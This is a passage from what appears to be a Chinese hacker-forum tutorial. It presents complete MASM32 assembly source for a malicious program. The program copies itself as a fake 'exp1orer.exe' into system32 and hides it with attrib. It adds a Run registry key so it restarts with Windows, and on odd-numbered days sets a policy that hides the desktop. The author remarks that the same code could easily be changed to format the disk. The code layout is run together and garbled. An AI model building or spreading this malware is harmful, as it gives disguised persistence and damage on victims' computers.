addr szWriteValue,NULL,\REG_DWORD,addr szDword,
4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,
@hKey.endifret_WriteKey endp
做完后,这一步就到了传播,呵呵,不过偶没写,就来个“invoke deleteFile,addr szDirectory”删除,然后也就退出了“invoke ExitProcess,NULL”虽然说恶意程序,但是破坏的地方不多。假如要模拟“万花谷”的破坏方式,也就是禁止了注册表而已,这个完全可以做到。程序的完整代码如下:
.386.model flat, stdcalloption casemap:noneinclude windows.incinclude
kernel32.incinclude user32.incinclude advapi32.incincludelib
kernel32.libincludelib user32.libincludelib
advapi32.lib.dataszWin db ''C:\windows\system32\exp1orer.exe'',
0szCmdAttrib db ''attrib R H C:\windows\system32\exp1orer.exe'',
0szDirectory db 0szRegKey db ''
SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',
0szRegValue db ''StartPE'',
0szStr1 db "C:\WINDOWS\System32\exp1orer.exe"szWriteKey
db ''Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer\'',0szWriteValue db ''NoDesktop'',0 ;键值名称szDword dd 1 ;数据.data?hInstance dd ?hModule dd
?lpSystemTime SYSTEMTIME osVersion OSVERSIONINFO
stStartUp STARTUPINFO stProcInfo PROCESS_INFORMATION
.code;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd procinvoke GetStartupInfo,addr stStartUpinvoke
createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,
\NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,
addr stProcInforet_AttribCmd endp;>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createKey proc _lpKeylocal @hKey,@dwIndex,@dwLastTime:FILETIMEinvoke
RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,
addr @hKey.if eax == ERROR_SUCCESSinvoke RegSetValueEx,
@hKey,addr szRegValue,NULL,\REG_SZ,addr szStr1,32 ;
写入一个REG_SZ类型的数据invoke RegCloseKey,
@hKey.endifret_createKey endp;>>>>>>>>>>>>>>>
_WriteKey proc _lpKeylocal @hKey,@dwIndex,
@dwLastTime:FILETIMEinvoke RegcreateKey,
HKEY_CURRENT_USER,
offset szWriteKey,addr @hKey.if eax
== ERROR_SUCCESSinvoke RegSetValueEx,@hKey,
addr szWriteValue,NULL,\REG_DWORD,addr szDword,
4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,
@hKey.endifret_WriteKey endp;>>>>>>>>>>>>>>>>>>>>>>>>>>
start:invoke GetModuleHandle,0mov hInstance,eaxinvoke _createKey,
NULL ;设置为启动invoke GetSystemTime,offset lpSystemTimemovzx ebx,
lpSystemTime.wDay ;获取本地日,你可以判定这个变量就可以了。
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)|
|(ebx == 9)|
|(ebx == 11)||(ebx == 13)||(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)|
|(ebx == 25)||(ebx == 27)||(ebx == 29)invoke GetModuleFileName,
hModule,addr szDirectory,200;获取程序路径invoke CopyFile,
addr szDirectory,addr szWin,FALSEcall _AttribCmdinvoke _WriteKey,NULL
;修改注册表,隐藏桌面图表invoke deleteFile,
addr szDirectoryinvoke ExitProcess,NULL.endifend start
这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个“createProcess”,但是知道了一种调用方法,其他的也是千篇一律,例如对注册表修改,禁止右键,禁止使用任务治理器,禁止IE选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,假如使用,后果由使用者自己负责,与作者和邪恶八进制无关。

